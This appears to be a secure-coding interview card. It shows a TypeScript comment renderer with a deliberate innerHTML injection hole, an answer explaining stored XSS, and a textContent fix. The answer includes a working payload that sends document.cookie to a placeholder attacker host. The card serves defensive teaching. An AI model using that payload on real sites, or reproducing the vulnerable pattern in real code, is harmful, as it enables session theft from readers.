Rendering comments with innerHTML
renderComment() displays user comments under a post. What can an attacker do?
interface Comment { author: string; body: string;} export function renderComment(list: HTMLElement, comment: Comment): void { const item = document.createElement("li"); item.innerHTML = `<strong>${comment.author}</strong>: ${comment.body}`; list.appendChild(item);}Show answer
line 8 · Security / injection
User text is parsed as HTML. A comment like <img src=x onerror="fetch('//evil.example?c='+document.cookie)"> runs script in every reader's browser (stored XSS), which can steal sessions or act as the user.
const name = document.createElement("strong"); name.textContent = comment.author; item.append(name, `: ${comment.body}`);Interview follow-up: Mention textContent, framework auto-escaping, and sanitizers like DOMPurify when HTML is truly required.